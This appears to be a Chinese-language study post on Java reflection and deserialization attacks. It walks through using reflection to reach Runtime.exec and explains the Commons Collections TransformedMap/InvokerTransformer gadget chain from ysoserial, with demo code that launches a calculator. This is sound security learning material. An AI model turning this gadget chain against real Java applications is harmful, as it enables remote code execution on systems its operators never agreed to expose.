Open Aaisui opened 3 years ago
invoke方法是非常有用的,借用P牛的一段话:
invoke 的作用是执行方法,它的第一个参数是:
如果这个方法是一个普通方法,那么第一个参数是类对象
如果这个方法是一个静态方法,那么第一个参数是类
这也比较好理解了,我们正常执行方法是 [1].method([2], [3], [4]...) ,其实在反射里就是
method.invoke([1], [2], [3], [4]...) 。
稍微补充一下就好了,如果我们要调用的是:Runtime.getRuntime().exec("exefile"); 那我们需要的是:Runtime.getRuntime()这个对象,所以上面那段代码我们如果真正按照逻辑来是这样写的:
Class<?> aClass = Class.forName("java.lang.Runtime");
Method getRuntimeMethod = aClass.getMethod("getRuntime"); //
Object invoke = getRuntimeMethod.invoke(aClass); // 因为调用Runtime方法之后是个对象,所以此时返回的便是一个对象
Method execMethod = aClass.getMethod("exec", String.class);
execMethod.invoke(invoke,"calc");
验证上面那段注释可以这样:
在P牛的反射篇中留下了两个问题:
首先如果无参构造方法的话,我们一般可以直接newInstance 来解决这个问题,其实我觉得阿,如果是一个开发,肯定也会遇见这种问题,所以肯定有对应的解决方法,也就是getConstruct了,我们只需要在newInstance之前添加一步这个,即可用该方法返回一个使用我们指定的构造器的对象,口述的话略有繁琐,直接看代码:
public static void main(String[] args) {
try {
Class<?> aClass = Class.forName("com.web.Person");
// aClass.newInstance();
Constructor<?> constructor = aClass.getConstructor(String.class);
constructor.newInstance("PAT");
} catch (Exception e){
System.out.println("fak");
}
}
class Person{
public Person() {
System.out.println("I AM TOM");
}
public Person(String name) {
System.out.println("I AM "+name);
}
}
如果我们直接使用newInstance则是使用了无参方法,而我们使用getConstuctor可以选择任意构造器并返回使用该构造器的独享了
构造方法是私有方法的话我们可以使用:getDeclaredMethod,该方法相较于getMethod 可以获取当前类的私有方法,但是缺点是无法使用父类的方法了。而getConstruct和getDeclaredConstruct是一样的。 使用如下:
Constructor<?> constructor = aClass.getDeclaredConstructor(String.class);
constructor.setAccessible(true); //意思就是改方式是用来设置获取权限的。如果 accessible 标志被设置为true,那么反射对象在使用的时候,不会去检查Java语言权限控制(private之类的);
constructor.newInstance("PAT");
举个例子,前文我们说过Runtime这个类的构造函数是私有的,我们需要用 Runtime.getRuntime() 来 获取对象。 那么学了这个以后我们就可以这样写了:
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) {
try {
Class<?> aClass = Class.forName("java.lang.Runtime");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
Method execMethod = aClass.getMethod("exec", String.class);
declaredConstructor.setAccessible(true);
execMethod.invoke(declaredConstructor.newInstance(),"calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
关于RMI我觉得是远程连接一个服务器,我们使得其发起远程连接获取一个类,在这种情况下如果我们的类是一个恶意类,并把恶意代码写到初始化的状态之下,则会导致恶意代码注入的结果
直接来分析P牛给出的Demo:
package ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
如果我们使用运行这段代码,将会弹出计算器,我个人的理解是 这样子的:
那么我们的调用链可以理解为:
那么如何触发呢? 实际上可以这样来看: TransformedMap.decorate(innerMap, keyTransformer, valueTransformer); 该方法接受三个参数,第一个参数用于接受一个Map对象,第二个参数对Key进行修饰,第三个参数则是对Value进行修饰
这个函数的意思就是:TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可 以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map
很浅显的意思就是,TransformedMap.decorate允许我们显式的自定义Map添加元素的时候,key和value该如何被包装。 当我们添加元素的时候自动调用
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
我们看这个方法的时候可以看见她接受Transformer 类,那么我们在此时放入一个ChainedTransformer 类即可。
如何通过JAVA反射来得到一个runtime exec? 我将我编写的代码写在下面:
我们如果正常的创建的话只需要Process proc = Runtime.getRuntime().exec("calc")即可。但是反射的话就麻烦许多了,首先我们需要通过三选一的反射方法获取到一个实例